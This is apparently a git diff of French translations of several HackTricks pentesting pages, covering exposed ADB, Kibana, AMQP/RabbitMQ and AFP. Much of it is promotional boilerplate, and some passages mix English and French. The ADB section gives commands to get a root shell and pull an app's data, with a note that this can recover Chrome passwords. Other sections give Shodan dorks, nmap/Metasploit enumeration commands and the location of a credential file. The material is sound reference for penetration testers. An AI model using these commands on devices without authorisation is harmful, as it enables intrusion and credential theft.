* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
|
||||
D'après [la documentation](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) est un outil polyvalent en ligne de commande qui vous permet de communiquer avec un appareil. La commande adb facilite une variété d'actions sur l'appareil, telles que l'**installation et le débogage d'applications**, et elle fournit **un accès à un shell Unix** que vous pouvez utiliser pour exécuter diverses commandes sur un appareil.
|
||||
**Android Debug Bridge** (adb) est un outil de ligne de commande polyvalent qui vous permet de communiquer avec un appareil. La commande adb facilite une variété d'actions sur l'appareil, telles que l'**installation et le débogage d'applications**, et elle fournit **un accès à un shell Unix** que vous pouvez utiliser pour exécuter une variété de commandes sur un appareil.
|
||||
|
||||
**Port par défaut**: 5555.
|
||||
**Port par défaut** : 5555.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Connect
|
||||
|
||||
Si vous trouvez le service ADB fonctionnant sur un port d'un appareil et que vous pouvez vous y connecter, **vous pouvez obtenir un shell à l'intérieur du système :**
|
||||
Si vous trouvez le service ADB en cours d'exécution sur un port d'un appareil et que vous pouvez vous y connecter, **vous pouvez obtenir un shell à l'intérieur du système :**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
```
|
||||
Pour plus de commandes ADB, consultez la page suivante:
|
||||
Pour plus de commandes ADB, consultez la page suivante :
|
||||
|
||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
|
@ -41,29 +42,30 @@ Pour plus de commandes ADB, consultez la page suivante:
|
|||
|
||||
### Dump des données de l'application
|
||||
|
||||
Pour télécharger complètement les données d'une application, vous pouvez:
|
||||
Pour télécharger complètement les données d'une application, vous pouvez :
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
Vous pouvez utiliser ce stratagème pour **récupérer des informations sensibles comme les mots de passe Chrome**. Pour plus d'informations à ce sujet, consultez les informations et les références fournies [**ici**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
Vous pouvez utiliser cette astuce pour **récupérer des informations sensibles comme les mots de passe Chrome**. Pour plus d'informations à ce sujet, consultez les informations et les références fournies [**ici**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
## Shodan
|
||||
|
||||
* `android debug bridge`
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Kibana est connu pour sa capacité à rechercher et visualiser des données dans Elasticsearch, fonctionnant généralement sur le port **5601**. Il sert d'interface pour la surveillance, la gestion et les fonctions de sécurité du cluster Elastic Stack.
|
||||
Kibana est connu pour sa capacité à rechercher et visualiser des données dans Elasticsearch, fonctionnant généralement sur le port **5601**. Il sert d'interface pour les fonctions de surveillance, de gestion et de sécurité du cluster Elastic Stack.
|
||||
|
||||
## Compréhension de l'authentification
|
||||
## Comprendre l'authentification
|
||||
|
||||
Le processus d'authentification dans Kibana est intrinsèquement lié aux **identifiants utilisés dans Elasticsearch**. Si l'authentification d'Elasticsearch est désactivée, Kibana peut être accédé sans aucun identifiant. En revanche, si Elasticsearch est sécurisé avec des identifiants, les mêmes identifiants sont nécessaires pour accéder à Kibana, maintenant des autorisations d'utilisateur identiques sur les deux plateformes. Les identifiants peuvent être trouvés dans le fichier **/etc/kibana/kibana.yml**. Si ces identifiants ne concernent pas l'utilisateur **kibana_system**, ils peuvent offrir des droits d'accès plus étendus, car l'accès de l'utilisateur kibana_system est limité aux API de surveillance et à l'index .kibana.
|
||||
Le processus d'authentification dans Kibana est intrinsèquement lié aux **identifiants utilisés dans Elasticsearch**. Si l'authentification d'Elasticsearch est désactivée, Kibana peut être accessible sans aucun identifiant. En revanche, si Elasticsearch est sécurisé avec des identifiants, les mêmes identifiants sont nécessaires pour accéder à Kibana, maintenant des permissions utilisateur identiques sur les deux plateformes. Les identifiants peuvent être trouvés dans le fichier **/etc/kibana/kibana.yml**. Si ces identifiants ne concernent pas l'utilisateur **kibana_system**, ils peuvent offrir des droits d'accès plus larges, car l'accès de l'utilisateur kibana_system est limité aux API de surveillance et à l'index .kibana.
|
||||
|
||||
## Actions à entreprendre après l'accès
|
||||
|
||||
Une fois l'accès à Kibana est sécurisé, plusieurs actions sont recommandées :
|
||||
Une fois l'accès à Kibana sécurisé, plusieurs actions sont conseillées :
|
||||
|
||||
- Explorer les données d'Elasticsearch devrait être une priorité.
|
||||
- La capacité de gérer les utilisateurs, y compris l'édition, la suppression ou la création de nouveaux utilisateurs, rôles ou clés API, se trouve sous Gestion de la pile -> Utilisateurs/Rôles/Clés API.
|
||||
- Il est important de vérifier la version installée de Kibana pour les vulnérabilités connues, telles que la vulnérabilité RCE identifiée dans les versions antérieures à 6.6.0 ([Plus d'informations](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
- Il est important de vérifier la version installée de Kibana pour des vulnérabilités connues, telles que la vulnérabilité RCE identifiée dans les versions antérieures à 6.6.0 ([Plus d'infos](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
|
||||
## Considérations SSL/TLS
|
||||
|
||||
|
@ -38,4 +39,17 @@ Dans les cas où SSL/TLS n'est pas activé, le potentiel de fuite d'informations
|
|||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# 5671,5672 - Test d'intrusion AMQP
|
||||
# 5671,5672 - Pentesting AMQP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
À partir de [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
|
||||
> **RabbitMQ** est un **logiciel de file d'attente de messages** également connu sous le nom de _courtier de messages_ ou de _gestionnaire de file d'attente_. En termes simples, il s'agit d'un logiciel où des files d'attente sont définies, auxquelles les applications se connectent pour transférer un message ou des messages.\
|
||||
> Un **message peut contenir n'importe quel type d'information**. Il pourrait, par exemple, contenir des informations sur un processus ou une tâche qui devrait démarrer sur une autre application (qui pourrait même être sur un autre serveur), ou il pourrait s'agir simplement d'un message texte simple. Le logiciel de gestion de file d'attente stocke les messages jusqu'à ce qu'une application réceptrice se connecte et retire un message de la file d'attente. L'application réceptrice traite ensuite le message.\
|
||||
Définition de .
|
||||
> **RabbitMQ** est un **logiciel de mise en file d'attente de messages** également connu sous le nom de _courtier de messages_ ou _gestionnaire de files d'attente._ En termes simples ; c'est un logiciel où des files d'attente sont définies, auxquelles les applications se connectent pour transférer un message ou des messages.\
|
||||
> Un **message peut inclure n'importe quel type d'information**. Il pourrait, par exemple, contenir des informations sur un processus ou une tâche qui devrait commencer sur une autre application (qui pourrait même être sur un autre serveur), ou il pourrait s'agir simplement d'un message texte. Le logiciel de gestion de files d'attente stocke les messages jusqu'à ce qu'une application réceptrice se connecte et prenne un message de la file d'attente. L'application réceptrice traite ensuite le message.\
|
||||
Definition from .
|
||||
|
||||
**Port par défaut**: 5672,5671
|
||||
**Default port**: 5672,5671
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
|
@ -60,38 +61,39 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Brute Force
|
||||
|
||||
* [**Brute-Force du Protocole AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**Brute-Force du Protocole STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
|
||||
## Autres ports RabbitMQ
|
||||
|
||||
Dans [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) vous pouvez trouver que **rabbitmq utilise plusieurs ports**:
|
||||
Dans [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html), vous pouvez trouver que **rabbitmq utilise plusieurs ports** :
|
||||
|
||||
* **1883, 8883**: ([clients MQTT](http://mqtt.org) sans et avec TLS, si le [plugin MQTT](https://www.rabbitmq.com/mqtt.html) est activé. [**En savoir plus sur comment pentester MQTT ici**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, un service de découverte de pairs utilisé par les nœuds RabbitMQ et les outils CLI. [**En savoir plus sur comment pentester ce service ici**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: utilisé par les clients AMQP 0-9-1 et 1.0 sans et avec TLS
|
||||
* **15672**: clients [API HTTP](https://www.rabbitmq.com/management.html), [interface de gestion](https://www.rabbitmq.com/management.html) et [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (uniquement si le [plugin de gestion](https://www.rabbitmq.com/management.html) est activé). [**En savoir plus sur comment pentester ce service ici**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: clients STOMP-over-WebSockets (uniquement si le [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) est activé)
|
||||
* 15675: clients MQTT-over-WebSockets (uniquement si le [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) est activé)
|
||||
* 15692: métriques Prometheus (uniquement si le [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) est activé)
|
||||
* 25672: utilisé pour la communication inter-nœuds et les outils CLI (port du serveur de distribution Erlang) et est alloué à partir d'une plage dynamique (limité à un seul port par défaut, calculé comme port AMQP + 20000). Sauf si les connexions externes sur ces ports sont vraiment nécessaires (par exemple, le cluster utilise [fédération](https://www.rabbitmq.com/federation.html) ou des outils CLI sont utilisés sur des machines en dehors du sous-réseau), ces ports ne doivent pas être exposés publiquement. Voir le [guide de mise en réseau](https://www.rabbitmq.com/networking.html) pour plus de détails. **Seuls 9 de ces ports sont ouverts sur Internet**.
|
||||
* 35672-35682: utilisé par les outils CLI (ports clients de distribution Erlang) pour la communication avec les nœuds et est alloué à partir d'une plage dynamique (calculé comme port de distribution du serveur + 10000 à travers le port de distribution du serveur + 10010). Voir le [guide de mise en réseau](https://www.rabbitmq.com/networking.html) pour plus de détails.
|
||||
* 61613, 61614: [clients STOMP](https://stomp.github.io/stomp-specification-1.2.html) sans et avec TLS (uniquement si le [plugin STOMP](https://www.rabbitmq.com/stomp.html) est activé). Moins de 10 appareils avec ce port ouvert et principalement UDP pour les nœuds DHT.
|
||||
* **1883, 8883** : ([clients MQTT](http://mqtt.org) sans et avec TLS, si le [plugin MQTT](https://www.rabbitmq.com/mqtt.html) est activé. [**En savoir plus sur la façon de pentester MQTT ici**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369 : epmd**, un service de découverte de pairs utilisé par les nœuds RabbitMQ et les outils CLI. [**En savoir plus sur la façon de pentester ce service ici**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671** : utilisés par les clients AMQP 0-9-1 et 1.0 sans et avec TLS
|
||||
* **15672** : [API HTTP](https://www.rabbitmq.com/management.html) clients, [interface de gestion](https://www.rabbitmq.com/management.html) et [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (uniquement si le [plugin de gestion](https://www.rabbitmq.com/management.html) est activé). [**En savoir plus sur la façon de pentester ce service ici**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674 : clients STOMP-over-WebSockets (uniquement si le [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) est activé)
|
||||
* 15675 : clients MQTT-over-WebSockets (uniquement si le [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) est activé)
|
||||
* 15692 : métriques Prometheus (uniquement si le [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) est activé)
|
||||
* 25672 : utilisé pour la communication entre nœuds et les outils CLI (port du serveur de distribution Erlang) et est alloué à partir d'une plage dynamique (limité à un seul port par défaut, calculé comme port AMQP + 20000). À moins que des connexions externes sur ces ports ne soient vraiment nécessaires (par exemple, le cluster utilise [fédération](https://www.rabbitmq.com/federation.html) ou des outils CLI sont utilisés sur des machines en dehors du sous-réseau), ces ports ne devraient pas être exposés publiquement. Voir [guide de mise en réseau](https://www.rabbitmq.com/networking.html) pour plus de détails. **Seulement 9 de ces ports ouverts sur Internet**.
|
||||
* 35672-35682 : utilisés par les outils CLI (ports clients de distribution Erlang) pour la communication avec les nœuds et sont alloués à partir d'une plage dynamique (calculée comme port de distribution du serveur + 10000 à travers le port de distribution du serveur + 10010). Voir [guide de mise en réseau](https://www.rabbitmq.com/networking.html) pour plus de détails.
|
||||
* 61613, 61614 : [clients STOMP](https://stomp.github.io/stomp-specification-1.2.html) sans et avec TLS (uniquement si le [plugin STOMP](https://www.rabbitmq.com/stomp.html) est activé). Moins de 10 appareils avec ce port ouvert et principalement UDP pour les nœuds DHT.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `AMQP`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# 548 - Pentester le protocole de partage de fichiers Apple (AFP)
|
||||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le **protocole de partage de fichiers Apple** (**AFP**), autrefois connu sous le nom de protocole de partage de fichiers AppleTalk, est un protocole réseau spécialisé inclus dans le **Service de fichiers Apple** (**AFS**). Il est conçu pour fournir des services de fichiers pour macOS et le Mac OS classique. AFP se distingue par sa prise en charge des noms de fichiers Unicode, des autorisations POSIX et des listes de contrôle d'accès, des fourches de ressources, des attributs étendus nommés et des mécanismes sophistiqués de verrouillage de fichiers. C'était le principal protocole pour les services de fichiers dans Mac OS 9 et les versions antérieures.
|
||||
Le **Apple Filing Protocol** (**AFP**), autrefois connu sous le nom de AppleTalk Filing Protocol, est un protocole réseau spécialisé inclus dans le **Apple File Service** (**AFS**). Il est conçu pour fournir des services de fichiers pour macOS et le Mac OS classique. AFP se distingue par son support des noms de fichiers Unicode, des permissions POSIX et des listes de contrôle d'accès, des forks de ressources, des attributs étendus nommés et des mécanismes de verrouillage de fichiers sophistiqués. C'était le principal protocole pour les services de fichiers dans Mac OS 9 et les versions antérieures.
|
||||
|
||||
**Port par défaut :** 548
|
||||
```bash
|
||||
|
@ -31,25 +32,26 @@ Pour l'énumération des services AFP, les commandes et scripts suivants sont ut
|
|||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
**Scripts et Leurs Descriptions :**
|
||||
**Scripts et leurs descriptions :**
|
||||
|
||||
- **afp-ls** : Ce script est utilisé pour lister les volumes et fichiers AFP disponibles.
|
||||
- **afp-path-vuln** : Il liste tous les volumes et fichiers AFP, mettant en évidence les vulnérabilités potentielles.
|
||||
- **afp-serverinfo** : Cela fournit des informations détaillées sur le serveur AFP.
|
||||
- **afp-showmount** : Il liste les partages AFP disponibles avec leurs ACL respectives.
|
||||
- **afp-showmount** : Il liste les partages AFP disponibles ainsi que leurs ACL respectives.
|
||||
|
||||
